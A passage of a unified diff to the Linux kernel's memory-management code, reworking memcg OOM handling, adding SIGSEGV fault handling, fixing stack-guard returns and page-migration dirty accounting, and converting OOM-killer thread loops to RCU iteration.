src_pte); + entry = huge_ptep_get(src_pte); ptepage = pte_page(entry); get_page(ptepage); page_dup_rmap(ptepage); @@ -2450,9 +2451,10 @@ void __unmap_hugepage_range(struct mmu_gather *tlb, struct vm_area_struct *vma, continue; /* - * HWPoisoned hugepage is already unmapped and dropped reference + * Migrating hugepage or HWPoisoned hugepage is already + * unmapped and its refcount is dropped, so just clear pte here. */ - if (unlikely(is_hugetlb_entry_hwpoisoned(pte))) { + if (unlikely(!pte_present(pte))) { huge_pte_clear(mm, address, ptep); continue; } @@ -2570,6 +2572,14 @@ static int unmap_ref_private(struct mm_struct *mm, struct vm_area_struct *vma, if (iter_vma == vma) continue; + /* + * Shared VMAs have their own reserves and do not affect + * MAP_PRIVATE accounting but it is possible that a shared + * VMA is using the same page so check and skip such VMAs. + */ + if (iter_vma->vm_flags & VM_MAYSHARE) + continue; + /* * Unmap the page from other VMAs without their own reserves. * They get marked to be SIGKILLed if they fault in these diff --git a/mm/ksm.c b/mm/ksm.c index 11f6293cf38a8..22888a95673f8 100644 --- a/mm/ksm.c +++ b/mm/ksm.c @@ -394,7 +394,7 @@ static int break_ksm(struct vm_area_struct *vma, unsigned long addr) else ret = VM_FAULT_WRITE; put_page(page); - } while (!(ret & (VM_FAULT_WRITE | VM_FAULT_SIGBUS | VM_FAULT_OOM))); + } while (!(ret & (VM_FAULT_WRITE | VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV | VM_FAULT_OOM))); /* * We must loop because handle_mm_fault() may back out if there's * any difficulty e.g. if pte accessed bit gets updated concurrently. diff --git a/mm/memcontrol.c b/mm/memcontrol.c index e18a5efaba9b6..904244a74e43b 100644 --- a/mm/memcontrol.c +++ b/mm/memcontrol.c @@ -302,6 +302,7 @@ struct mem_cgroup { bool oom_lock; atomic_t under_oom; + atomic_t oom_wakeups; atomic_t refcnt; @@ -2075,15 +2076,18 @@ static int mem_cgroup_soft_reclaim(struct mem_cgroup *root_memcg, return total; } +static DEFINE_SPINLOCK(memcg_oom_lock); + /* * Check OOM-Killer is already running under our hierarchy. * If someone is running, return false. - * Has to be called with memcg_oom_lock */ -static bool mem_cgroup_oom_lock(struct mem_cgroup *memcg) +static bool mem_cgroup_oom_trylock(struct mem_cgroup *memcg) { struct mem_cgroup *iter, *failed = NULL; + spin_lock(&memcg_oom_lock); + for_each_mem_cgroup_tree(iter, memcg) { if (iter->oom_lock) { /* @@ -2097,33 +2101,33 @@ static bool mem_cgroup_oom_lock(struct mem_cgroup *memcg) iter->oom_lock = true; } - if (!failed) - return true; - - /* - * OK, we failed to lock the whole subtree so we have to clean up - * what we set up to the failing subtree - */ - for_each_mem_cgroup_tree(iter, memcg) { - if (iter == failed) { - mem_cgroup_iter_break(memcg, iter); - break; + if (failed) { + /* + * OK, we failed to lock the whole subtree so we have + * to clean up what we set up to the failing subtree + */ + for_each_mem_cgroup_tree(iter, memcg) { + if (iter == failed) { + mem_cgroup_iter_break(memcg, iter); + break; + } + iter->oom_lock = false; } - iter->oom_lock = false; } - return false; + + spin_unlock(&memcg_oom_lock); + + return !failed; } -/* - * Has to be called with memcg_oom_lock - */ -static int mem_cgroup_oom_unlock(struct mem_cgroup *memcg) +static void mem_cgroup_oom_unlock(struct mem_cgroup *memcg) { struct mem_cgroup *iter; + spin_lock(&memcg_oom_lock); for_each_mem_cgroup_tree(iter, memcg) iter->oom_lock = false; - return 0; + spin_unlock(&memcg_oom_lock); } static void mem_cgroup_mark_under_oom(struct mem_cgroup *memcg) @@ -2147,7 +2151,6 @@ static void mem_cgroup_unmark_under_oom(struct mem_cgroup *memcg) atomic_add_unless(&iter->under_oom, -1, 0); } -static DEFINE_SPINLOCK(memcg_oom_lock); static DECLARE_WAIT_QUEUE_HEAD(memcg_oom_waitq); struct oom_wait_info { @@ -2177,6 +2180,7 @@ static int memcg_oom_wake_function(wait_queue_t *wait, static void memcg_wakeup_oom(struct mem_cgroup *memcg) { + atomic_inc(&memcg->oom_wakeups); /* for filtering, pass "memcg" as argument. */ __wake_up(&memcg_oom_waitq, TASK_NORMAL, 0, memcg); } @@ -2187,57 +2191,97 @@ static void memcg_oom_recover(struct mem_cgroup *memcg) memcg_wakeup_oom(memcg); } -/* - * try to call OOM killer. returns false if we should exit memory-reclaim loop. +static void mem_cgroup_oom(struct mem_cgroup *memcg, gfp_t mask, int order) +{ + if (!current->memcg_oom.may_oom) + return; + /* + * We are in the middle of the charge context here, so we + * don't want to block when potentially sitting on a callstack + * that holds all kinds of filesystem and mm locks. + * + * Also, the caller may handle a failed allocation gracefully + * (like optional page cache readahead) and so an OOM killer + * invocation might not even be necessary. + * + * That's why we don't do anything here except remember the + * OOM context and then deal with it at the end of the page + * fault when the stack is unwound, the locks are released, + * and when we know whether the fault was overall successful. + */ + css_get(&memcg->css); + current->memcg_oom.memcg = memcg; + current->memcg_oom.gfp_mask = mask; + current->memcg_oom.order = order; +} + +/** + * mem_cgroup_oom_synchronize - complete memcg OOM handling + * @handle: actually kill/wait or just clean up the OOM state + * + * This has to be called at the end of a page fault if the memcg OOM + * handler was enabled. + * + * Memcg supports userspace OOM handling where failed allocations must + * sleep on a waitqueue until the userspace task resolves the + * situation. Sleeping directly in the charge context with all kinds + * of locks held is not a good idea, instead we remember an OOM state + * in the task and mem_cgroup_oom_synchronize() has to be called at + * the end of the page fault to complete the OOM handling. + * + * Returns %true if an ongoing memcg OOM situation was detected and + * completed, %false otherwise. */ -static bool mem_cgroup_handle_oom(struct mem_cgroup *memcg, gfp_t mask, - int order) +bool mem_cgroup_oom_synchronize(bool handle) { + struct mem_cgroup *memcg = current->memcg_oom.memcg; struct oom_wait_info owait; - bool locked, need_to_kill; + bool locked; + + /* OOM is global, do not handle */ + if (!memcg) + return false; + + if (!handle) + goto cleanup; owait.memcg = memcg; owait.wait.flags = 0; owait.wait.func = memcg_oom_wake_function; owait.wait.private = current; INIT_LIST_HEAD(&owait.wait.task_list); - need_to_kill = true; - mem_cgroup_mark_under_oom(memcg); - /* At first, try to OOM lock hierarchy under memcg.*/ - spin_lock(&memcg_oom_lock); - locked = mem_cgroup_oom_lock(memcg); - /* - * Even if signal_pending(), we can't quit charge() loop without - * accounting. So, UNINTERRUPTIBLE is appropriate. But SIGKILL - * under OOM is always welcomed, use TASK_KILLABLE here. - */ prepare_to_wait(&memcg_oom_waitq, &owait.wait, TASK_KILLABLE); - if (!locked || memcg->oom_kill_disable) - need_to_kill = false; + mem_cgroup_mark_under_oom(memcg); + + locked = mem_cgroup_oom_trylock(memcg); + if (locked) mem_cgroup_oom_notify(memcg); - spin_unlock(&memcg_oom_lock); - if (need_to_kill) { + if (locked && !memcg->oom_kill_disable) { + mem_cgroup_unmark_under_oom(memcg); finish_wait(&memcg_oom_waitq, &owait.wait); - mem_cgroup_out_of_memory(memcg, mask, order); + mem_cgroup_out_of_memory(memcg, current->memcg_oom.gfp_mask, + current->memcg_oom.order); } else { schedule(); + mem_cgroup_unmark_under_oom(memcg); finish_wait(&memcg_oom_waitq, &owait.wait); } - spin_lock(&memcg_oom_lock); - if (locked) - mem_cgroup_oom_unlock(memcg); - memcg_wakeup_oom(memcg); - spin_unlock(&memcg_oom_lock); - - mem_cgroup_unmark_under_oom(memcg); - if (test_thread_flag(TIF_MEMDIE) || fatal_signal_pending(current)) - return false; - /* Give chance to dying process */ - schedule_timeout_uninterruptible(1); + if (locked) { + mem_cgroup_oom_unlock(memcg); + /* + * There is no guarantee that an OOM-lock contender + * sees the wakeups triggered by the OOM kill + * uncharges. Wake any sleepers explicitely. + */ + memcg_oom_recover(memcg); + } +cleanup: + current->memcg_oom.memcg = NULL; + css_put(&memcg->css); return true; } @@ -2550,12 +2594,11 @@ enum { CHARGE_RETRY, /* need to retry but retry is not bad */ CHARGE_NOMEM, /* we can't do more. return -ENOMEM */ CHARGE_WOULDBLOCK, /* GFP_WAIT wasn't set and no enough res. */ - CHARGE_OOM_DIE, /* the current is killed because of OOM */ }; static int mem_cgroup_do_charge(struct mem_cgroup *memcg, gfp_t gfp_mask, unsigned int nr_pages, unsigned int min_pages, - bool oom_check) + bool invoke_oom) { unsigned long csize = nr_pages * PAGE_SIZE; struct mem_cgroup *mem_over_limit; @@ -2612,14 +2655,10 @@ static int mem_cgroup_do_charge(struct mem_cgroup *memcg, gfp_t gfp_mask, if (mem_cgroup_wait_acct_move(mem_over_limit)) return CHARGE_RETRY; - /* If we don't need to call oom-killer at el, return immediately */ - if (!oom_check) - return CHARGE_NOMEM; - /* check OOM */ - if (!mem_cgroup_handle_oom(mem_over_limit, gfp_mask, get_order(csize))) - return CHARGE_OOM_DIE; + if (invoke_oom) + mem_cgroup_oom(mem_over_limit, gfp_mask, get_order(csize)); - return CHARGE_RETRY; + return CHARGE_NOMEM; } /* @@ -2663,6 +2702,9 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm, || fatal_signal_pending(current))) goto bypass; + if (unlikely(task_in_memcg_oom(current))) + goto bypass; + /* * We always charge the cgroup the mm_struct belongs to. * The mm_struct's mem_cgroup changes on task migration if the @@ -2722,7 +2764,7 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm, } do { - bool oom_check; + bool invoke_oom = oom && !nr_oom_retries; /* If killed, bypass charge */ if (fatal_signal_pending(current)) { @@ -2730,14 +2772,8 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm, goto bypass; } - oom_check = false; - if (oom && !nr_oom_retries) { - oom_check = true; - nr_oom_retries = MEM_CGROUP_RECLAIM_RETRIES; - } - - ret = mem_cgroup_do_charge(memcg, gfp_mask, batch, nr_pages, - oom_check); + ret = mem_cgroup_do_charge(memcg, gfp_mask, batch, + nr_pages, invoke_oom); switch (ret) { case CHARGE_OK: break; @@ -2750,16 +2786,12 @@ static int __mem_cgroup_try_charge(struct mm_struct *mm, css_put(&memcg->css); goto nomem; case CHARGE_NOMEM: /* OOM routine works */ - if (!oom) { + if (!oom || invoke_oom) { css_put(&memcg->css); goto nomem; } - /* If oom, we never return -ENOMEM */ nr_oom_retries--; break; - case CHARGE_OOM_DIE: /* Killed by OOM Killer */ - css_put(&memcg->css); - goto bypass; } } while (ret != CHARGE_OK); @@ -5758,16 +5790,17 @@ static void mem_cgroup_usage_unregister_event(struct cgroup *cgrp, swap_buffers: /* Swap primary and spare array */ thresholds->spare = thresholds->primary; - /* If all events are unregistered, free the spare array */ - if (!new) { - kfree(thresholds->spare); - thresholds->spare = NULL; - } rcu_assign_pointer(thresholds->primary, new); /* To be sure that nobody uses thresholds */ synchronize_rcu(); + + /* If all events are unregistered, free the spare array */ + if (!new) { + kfree(thresholds->spare); + thresholds->spare = NULL; + } unlock: mutex_unlock(&memcg->thresholds_lock); } diff --git a/mm/memory-failure.c b/mm/memory-failure.c index 2484a1e302530..2d59af95a9781 100644 --- a/mm/memory-failure.c +++ b/mm/memory-failure.c @@ -1117,10 +1117,10 @@ int memory_failure(unsigned long pfn, int trapno, int flags) * The check (unnecessarily) ignores LRU pages being isolated and * walked by the page reclaim code, however that's not a big loss. */ - if (!PageHuge(p) && !PageTransTail(p)) { - if (!PageLRU(p)) - shake_page(p, 0); - if (!PageLRU(p)) { + if (!PageHuge(p)) { + if (!PageLRU(hpage)) + shake_page(hpage, 0); + if (!PageLRU(hpage)) { /* * shake_page could have turned it free. */ @@ -1472,7 +1472,9 @@ static int get_any_page(struct page *page, unsigned long pfn, int flags) * Did it turn free? */ ret = __get_any_page(page, pfn, 0); - if (!PageLRU(page)) { + if (ret == 1 && !PageLRU(page)) { + /* Drop page reference which is from __get_any_page() */ + put_page(page); pr_info("soft_offline: %#lx: unknown non LRU page type %lx\n", pfn, page->flags); return -EIO; diff --git a/mm/memory.c b/mm/memory.c index 0430588228376..3968333ec5f7c 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -839,20 +839,20 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm, if (!pte_file(pte)) { swp_entry_t entry = pte_to_swp_entry(pte); - if (swap_duplicate(entry) < 0) - return entry.val; - - /* make sure dst_mm is on swapoff's mmlist. */ - if (unlikely(list_empty(&dst_mm->mmlist))) { - spin_lock(&mmlist_lock); - if (list_empty(&dst_mm->mmlist)) - list_add(&dst_mm->mmlist, - &src_mm->mmlist); - spin_unlock(&mmlist_lock); - } - if (likely(!non_swap_entry(entry))) + if (likely(!non_swap_entry(entry))) { + if (swap_duplicate(entry) < 0) + return entry.val; + + /* make sure dst_mm is on swapoff's mmlist. */ + if (unlikely(list_empty(&dst_mm->mmlist))) { + spin_lock(&mmlist_lock); + if (list_empty(&dst_mm->mmlist)) + list_add(&dst_mm->mmlist, + &src_mm->mmlist); + spin_unlock(&mmlist_lock); + } rss[MM_SWAPENTS]++; - else if (is_migration_entry(entry)) { + } else if (is_migration_entry(entry)) { page = migration_entry_to_page(entry); if (PageAnon(page)) @@ -1872,7 +1872,8 @@ long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm, else return -EFAULT; } - if (ret & VM_FAULT_SIGBUS) + if (ret & (VM_FAULT_SIGBUS | + VM_FAULT_SIGSEGV)) return i ? i : -EFAULT; BUG(); } @@ -1982,7 +1983,7 @@ int fixup_user_fault(struct task_struct *tsk, struct mm_struct *mm, return -ENOMEM; if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE)) return -EHWPOISON; - if (ret & VM_FAULT_SIGBUS) + if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV)) return -EFAULT; BUG(); } @@ -3239,7 +3240,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo if (prev && prev->vm_end == address) return prev->vm_flags & VM_GROWSDOWN ? 0 : -ENOMEM; - expand_downwards(vma, address - PAGE_SIZE); + return expand_downwards(vma, address - PAGE_SIZE); } if ((vma->vm_flags & VM_GROWSUP) && address + PAGE_SIZE == vma->vm_end) { struct vm_area_struct *next = vma->vm_next; @@ -3248,7 +3249,7 @@ static inline int check_stack_guard_page(struct vm_area_struct *vma, unsigned lo if (next && next->vm_start == address + PAGE_SIZE) return next->vm_flags & VM_GROWSUP ? 0 : -ENOMEM; - expand_upwards(vma, address + PAGE_SIZE); + return expand_upwards(vma, address + PAGE_SIZE); } return 0; } @@ -3268,9 +3269,13 @@ static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma, pte_unmap(page_table); + /* File mapping without ->vm_ops ? */ + if (vma->vm_flags & VM_SHARED) + return VM_FAULT_SIGBUS; + /* Check if we need to add a guard page to the stack */ if (check_stack_guard_page(vma, address) < 0) - return VM_FAULT_SIGBUS; + return VM_FAULT_SIGSEGV; /* Use the zero-page for reads */ if (!(flags & FAULT_FLAG_WRITE)) { @@ -3533,6 +3538,9 @@ static int do_linear_fault(struct mm_struct *mm, struct vm_area_struct *vma, - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; pte_unmap(page_table); + /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ + if (!vma->vm_ops->fault) + return VM_FAULT_SIGBUS; return __do_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); } @@ -3744,11 +3752,9 @@ int handle_pte_fault(struct mm_struct *mm, entry = *pte; if (!pte_present(entry)) { if (pte_none(entry)) { - if (vma->vm_ops) { - if (likely(vma->vm_ops->fault)) - return do_linear_fault(mm, vma, address, + if (vma->vm_ops) + return do_linear_fault(mm, vma, address, pte, pmd, flags, entry); - } return do_anonymous_page(mm, vma, address, pte, pmd, flags); } @@ -3793,22 +3799,14 @@ int handle_pte_fault(struct mm_struct *mm, /* * By the time we get here, we already hold the mm semaphore */ -int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, - unsigned long address, unsigned int flags) +static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, + unsigned long address, unsigned int flags) { pgd_t *pgd; pud_t *pud; pmd_t *pmd; pte_t *pte; - __set_current_state(TASK_RUNNING); - - count_vm_event(PGFAULT); - mem_cgroup_count_vm_event(mm, PGFAULT); - - /* do counter updates before entering really critical section. */ - check_sync_rss_stat(current); - if (unlikely(is_vm_hugetlb_page(vma))) return hugetlb_fault(mm, vma, address, flags); @@ -3875,8 +3873,18 @@ int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, if (unlikely(pmd_none(*pmd)) && unlikely(__pte_alloc(mm, vma, pmd, address))) return VM_FAULT_OOM; - /* if an huge pmd materialized from under us just retry later */ - if (unlikely(pmd_trans_huge(*pmd))) + /* + * If a huge pmd materialized under us just retry later. Use + * pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd + * didn't become pmd_trans_huge under us and then back to pmd_none, as + * a result of MADV_DONTNEED running immediately after a huge pmd fault + * in a different thread of this mm, in turn leading to a misleading + * pmd_trans_huge() retval. All we have to ensure is that it is a + * regular pmd that we can walk with pte_offset_map() and we can do that + * through an atomic read in C, which is what pmd_trans_unstable() + * provides. + */ + if (unlikely(pmd_trans_unstable(pmd))) return 0; /* * A regular pmd is established and it can't morph into a huge pmd @@ -3889,6 +3897,43 @@ int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, return handle_pte_fault(mm, vma, address, pte, pmd, flags); } +int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma, + unsigned long address, unsigned int flags) +{ + int ret; + + __set_current_state(TASK_RUNNING); + + count_vm_event(PGFAULT); + mem_cgroup_count_vm_event(mm, PGFAULT); + + /* do counter updates before entering really critical section. */ + check_sync_rss_stat(current); + + /* + * Enable the memcg OOM handling for faults triggered in user + * space. Kernel faults are handled more gracefully. + */ + if (flags & FAULT_FLAG_USER) + mem_cgroup_oom_enable(); + + ret = __handle_mm_fault(mm, vma, address, flags); + + if (flags & FAULT_FLAG_USER) { + mem_cgroup_oom_disable(); + /* + * The task may have entered a memcg OOM situation but + * if the allocation error was handled gracefully (no + * VM_FAULT_OOM), there is no need to kill anything. + * Just clean up the OOM state peacefully. + */ + if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) + mem_cgroup_oom_synchronize(false); + } + + return ret; +} + #ifndef __PAGETABLE_PUD_FOLDED /* * Allocate page upper directory. @@ -4098,7 +4143,7 @@ int generic_access_phys(struct vm_area_struct *vma, unsigned long addr, if (follow_phys(vma, addr, write, &prot, &phys_addr)) return -EINVAL; - maddr = ioremap_prot(phys_addr, PAGE_SIZE, prot); + maddr = ioremap_prot(phys_addr, PAGE_ALIGN(len + offset), prot); if (write) memcpy_toio(maddr + offset, buf, len); else diff --git a/mm/memory_hotplug.c b/mm/memory_hotplug.c index 7457b416947fd..a112ee02c35a0 100644 --- a/mm/memory_hotplug.c +++ b/mm/memory_hotplug.c @@ -1058,6 +1058,10 @@ static pg_data_t __ref *hotadd_new_pgdat(int nid, u64 start) return NULL; arch_refresh_nodedata(nid, pgdat); + } else { + /* Reset the nr_zones and classzone_idx to 0 before reuse */ + pgdat->nr_zones = 0; + pgdat->classzone_idx = 0; } /* we can use NODE_DATA(nid) from here */ @@ -1272,23 +1276,30 @@ int is_mem_section_removable(unsigned long start_pfn, unsigned long nr_pages) */ static int test_pages_in_a_zone(unsigned long start_pfn, unsigned long end_pfn) { - unsigned long pfn; + unsigned long pfn, sec_end_pfn; struct zone *zone = NULL; struct page *page; int i; - for (pfn = start_pfn; + for (pfn = start_pfn, sec_end_pfn = SECTION_ALIGN_UP(start_pfn); pfn < end_pfn; - pfn += MAX_ORDER_NR_PAGES) { - i = 0; - /* This is just a CONFIG_HOLES_IN_ZONE check.*/ - while ((i < MAX_ORDER_NR_PAGES) && !pfn_valid_within(pfn + i)) - i++; - if (i == MAX_ORDER_NR_PAGES) + pfn = sec_end_pfn + 1, sec_end_pfn += PAGES_PER_SECTION) { + /* Make sure the memory section is present first */ + if (!present_section_nr(pfn_to_section_nr(pfn))) continue; - page = pfn_to_page(pfn + i); - if (zone && page_zone(page) != zone) - return 0; - zone = page_zone(page); + for (; pfn < sec_end_pfn && pfn < end_pfn; + pfn += MAX_ORDER_NR_PAGES) { + i = 0; + /* This is just a CONFIG_HOLES_IN_ZONE check.*/ + while ((i < MAX_ORDER_NR_PAGES) && + !pfn_valid_within(pfn + i)) + i++; + if (i == MAX_ORDER_NR_PAGES) + continue; + page = pfn_to_page(pfn + i); + if (zone && page_zone(page) != zone) + return 0; + zone = page_zone(page); + } } return 1; } @@ -1873,18 +1884,11 @@ void try_offline_node(int nid) * wait_table may be allocated from boot memory, * here only free if it's allocated by vmalloc. */ - if (is_vmalloc_addr(zone->wait_table)) + if (is_vmalloc_addr(zone->wait_table)) { vfree(zone->wait_table); + zone->wait_table = NULL; + } } - - /* - * Since there is no way to guarentee the address of pgdat/zone is not - * on stack of any kernel threads or used by other kernel objects - * without reference counting or other symchronizing method, do not - * reset node_data and free pgdat here. Just reset it to 0 and reuse - * the memory when the node is online again. - */ - memset(pgdat, 0, sizeof(*pgdat)); } EXPORT_SYMBOL(try_offline_node); diff --git a/mm/migrate.c b/mm/migrate.c index 8bed2c391baeb..74e5644707481 100644 --- a/mm/migrate.c +++ b/mm/migrate.c @@ -30,6 +30,7 @@ #include #include #include +#include #include #include #include @@ -308,10 +309,12 @@ static inline bool buffer_migrate_lock_buffers(struct buffer_head *head, * 2 for pages with a mapping * 3 for pages with a mapping and PagePrivate/PagePrivate2 set. */ -static int migrate_page_move_mapping(struct address_space *mapping, +int migrate_page_move_mapping(struct address_space *mapping, struct page *newpage, struct page *page, struct buffer_head *head, enum migrate_mode mode) { + struct zone *oldzone, *newzone; + int dirty; int expected_count = 0; void **pslot; @@ -322,6 +325,9 @@ static int migrate_page_move_mapping(struct address_space *mapping, return MIGRATEPAGE_SUCCESS; } + oldzone = page_zone(page); + newzone = page_zone(newpage); + spin_lock_irq(&mapping->tree_lock); pslot = radix_tree_lookup_slot(&mapping->page_tree, @@ -362,6 +368,13 @@ static int migrate_page_move_mapping(struct address_space *mapping, set_page_private(newpage, page_private(page)); } + /* Move dirty while page refs frozen and newpage not yet exposed */ + dirty = PageDirty(page); + if (dirty) { + ClearPageDirty(page); + SetPageDirty(newpage); + } + radix_tree_replace_slot(pslot, newpage); /* @@ -371,6 +384,9 @@ static int migrate_page_move_mapping(struct address_space *mapping, */ page_unfreeze_refs(page, expected_count - 1); + spin_unlock(&mapping->tree_lock); + /* Leave irq disabled to prevent preemption while updating stats */ + /* * If moved to a different zone then also account * the page for that zone. Other VM counters will be @@ -381,16 +397,23 @@ static int migrate_page_move_mapping(struct address_space *mapping, * via NR_FILE_PAGES and NR_ANON_PAGES if they * are mapped to swap space. */ - __dec_zone_page_state(page, NR_FILE_PAGES); - __inc_zone_page_state(newpage, NR_FILE_PAGES); - if (!PageSwapCache(page) && PageSwapBacked(page)) { - __dec_zone_page_state(page, NR_SHMEM); - __inc_zone_page_state(newpage, NR_SHMEM); + if (newzone != oldzone) { + __dec_zone_state(oldzone, NR_FILE_PAGES); + __inc_zone_state(newzone, NR_FILE_PAGES); + if (PageSwapBacked(page) && !PageSwapCache(page)) { + __dec_zone_state(oldzone, NR_SHMEM); + __inc_zone_state(newzone, NR_SHMEM); + } + if (dirty && mapping_cap_account_dirty(mapping)) { + __dec_zone_state(oldzone, NR_FILE_DIRTY); + __inc_zone_state(newzone, NR_FILE_DIRTY); + } } - spin_unlock_irq(&mapping->tree_lock); + local_irq_enable(); return MIGRATEPAGE_SUCCESS; } +EXPORT_SYMBOL(migrate_page_move_mapping); /* * The expected number of remaining references is the same as that @@ -461,20 +484,9 @@ void migrate_page_copy(struct page *newpage, struct page *page) if (PageMappedToDisk(page)) SetPageMappedToDisk(newpage); - if (PageDirty(page)) { - clear_page_dirty_for_io(page); - /* - * Want to mark the page and the radix tree as dirty, and - * redo the accounting that clear_page_dirty_for_io undid, - * but we can't use set_page_dirty because that function - * is actually a signal that all of the page has become dirty. - * Whereas only part of our page may be dirty. - */ - if (PageSwapBacked(page)) - SetPageDirty(newpage); - else - __set_page_dirty_nobuffers(newpage); - } + /* Move dirty on pages not done by migrate_page_move_mapping() */ + if (PageDirty(page)) + SetPageDirty(newpage); mlock_migrate_page(newpage, page); ksm_migrate_page(newpage, page); @@ -493,6 +505,7 @@ void migrate_page_copy(struct page *newpage, struct page *page) if (PageWriteback(newpage)) end_page_writeback(newpage); } +EXPORT_SYMBOL(migrate_page_copy); /************************************************************ * Migration functions diff --git a/mm/mmap.c b/mm/mmap.c index 641dd3d2c3dc9..fbadaaef0564d 100644 --- a/mm/mmap.c +++ b/mm/mmap.c @@ -139,7 +139,7 @@ EXPORT_SYMBOL_GPL(vm_memory_committed); */ int __vm_enough_memory(struct mm_struct *mm, long pages, int cap_sys_admin) { - unsigned long free, allowed, reserve; + long free, allowed, reserve; vm_acct_memory(pages); @@ -205,7 +205,7 @@ int __vm_enough_memory(struct mm_struct *mm, long pages, int cap_sys_admin) */ if (mm) { reserve = sysctl_user_reserve_kbytes >> (PAGE_SHIFT - 10); - allowed -= min(mm->total_vm / 32, reserve); + allowed -= min_t(long, mm->total_vm / 32, reserve); } if (percpu_counter_read_positive(&vm_committed_as) < allowed) @@ -2053,14 +2053,17 @@ static int acct_stack_growth(struct vm_area_struct *vma, unsigned long size, uns { struct mm_struct *mm = vma->vm_mm; struct rlimit *rlim = current->signal->rlim; - unsigned long new_start; + unsigned long new_start, actual_size; /* address space limit tests */ if (!may_expand_vm(mm, grow)) return -ENOMEM; /* Stack limit test */ - if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur)) + actual_size = size; + if (size && (vma->vm_flags & (VM_GROWSUP | VM_GROWSDOWN))) + actual_size -= PAGE_SIZE; + if (actual_size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur)) return -ENOMEM; /* mlock limit tests */ diff --git a/mm/nommu.c b/mm/nommu.c index 886e07ce4d1de..08118e026afbc 100644 --- a/mm/nommu.c +++ b/mm/nommu.c @@ -1894,7 +1894,7 @@ EXPORT_SYMBOL(unmap_mapping_range); */ int __vm_enough_memory(struct mm_struct *mm, long pages, int cap_sys_admin) { - unsigned long free, allowed, reserve; + long free, allowed, reserve; vm_acct_memory(pages); @@ -1959,7 +1959,7 @@ int __vm_enough_memory(struct mm_struct *mm, long pages, int cap_sys_admin) */ if (mm) { reserve = sysctl_user_reserve_kbytes >> (PAGE_SHIFT - 10); - allowed -= min(mm->total_vm / 32, reserve); + allowed -= min_t(long, mm->total_vm / 32, reserve); } if (percpu_counter_read_positive(&vm_committed_as) < allowed) diff --git a/mm/oom_kill.c b/mm/oom_kill.c index 3ea16bad4bbf6..5270b9d204591 100644 --- a/mm/oom_kill.c +++ b/mm/oom_kill.c @@ -47,19 +47,21 @@ static DEFINE_SPINLOCK(zone_scan_lock); #ifdef CONFIG_NUMA /** * has_intersects_mems_allowed() - check task eligiblity for kill - * @tsk: task struct of which task to consider + * @start: task struct of which task to consider * @mask: nodemask passed to page allocator for mempolicy ooms * * Task eligibility is determined by whether or not a candidate task, @tsk, * shares the same mempolicy nodes as current if it is bound by such a policy * and whether or not it has the same set of allowed cpuset nodes. */ -static bool has_intersects_mems_allowed(struct task_struct *tsk, +static bool has_intersects_mems_allowed(struct task_struct *start, const nodemask_t *mask) { - struct task_struct *start = tsk; + struct task_struct *tsk; + bool ret = false; - do { + rcu_read_lock(); + for_each_thread(start, tsk) { if (mask) { /* * If this is a mempolicy constrained oom, tsk's @@ -67,19 +69,20 @@ static bool has_intersects_mems_allowed(struct task_struct *tsk, * mempolicy intersects current, otherwise it may be * needlessly killed. */ - if (mempolicy_nodemask_intersects(tsk, mask)) - return true; + ret = mempolicy_nodemask_intersects(tsk, mask); } else { /* * This is not a mempolicy constrained oom, so only * check the mems of tsk's cpuset. */ - if (cpuset_mems_allowed_intersects(current, tsk)) - return true; + ret = cpuset_mems_allowed_intersects(current, tsk); } - } while_each_thread(start, tsk); + if (ret) + break; + } + rcu_read_unlock(); - return false; + return ret; } #else static bool has_intersects_mems_allowed(struct task_struct *tsk, @@ -97,16 +100,21 @@ static bool has_intersects_mems_allowed(struct task_struct *tsk, */ struct task_struct *find_lock_task_mm(struct task_struct *p) { - struct task_struct *t = p; + struct task_struct *t; - do { + rcu_read_lock(); + + for_each_thread(p, t) { task_lock(t); if (likely(t->mm)) - return t; + goto found; task_unlock(t); - } while_each_thread(p, t); + } + t = NULL; +found: + rcu_read_unlock(); - return NULL; + return t; } /* return true if the task is not adequate as candidate victim task. */ @@ -301,7 +309,7 @@ static struct task_struct *select_bad_process(unsigned int *ppoints, unsigned long chosen_points = 0; rcu_read_lock(); - do_each_thread(g, p) { + for_each_process_thread(g, p) { unsigned int points; switch (oom_scan_process_thread(p, totalpages, nodemask, @@ -323,7 +331,7 @@ static struct task_struct *select_bad_process(unsigned int *ppoints, chosen = p; chosen_points = points; } - } while_each_thread(g, p); + } if (chosen) get_task_struct(chosen); rcu_read_unlock(); @@ -394,6 +402,23 @@ static void dump_header(struct task_struct *p, gfp_t gfp_mask, int order, dump_tasks(memcg, nodemask); } +/* + * Number of OOM killer invocations (including memcg OOM killer). + * Primarily used by PM freezer to check for potential races with + * OOM killed frozen task. + */ +static atomic_t oom_kills = ATOMIC_INIT(0); + +int oom_kills_count(void) +{ + return atomic_read(&oom_kills); +} + +void note_oom_kill(void) +{ + atomic_inc(&oom_kills); +} + #define K(x) ((x) << (PAGE_SHIFT-10)) /* * Must be called while holding a reference to p, which will be released upon @@ -406,7 +431,7 @@ void oom_kill_process(struct task_struct *p, gfp_t gfp_mask, int order, { struct task_struct *victim = p; struct task_struct *child; - struct task_struct *t = p; + struct task_struct *t; struct mm_struct *mm; unsigned int victim_points = 0; static DEFINE_RATELIMIT_STATE(oom_rs, DEFAULT_RATELIMIT_INTERVAL, @@ -437,7 +462,7 @@ void oom_kill_process(struct task_struct *p, 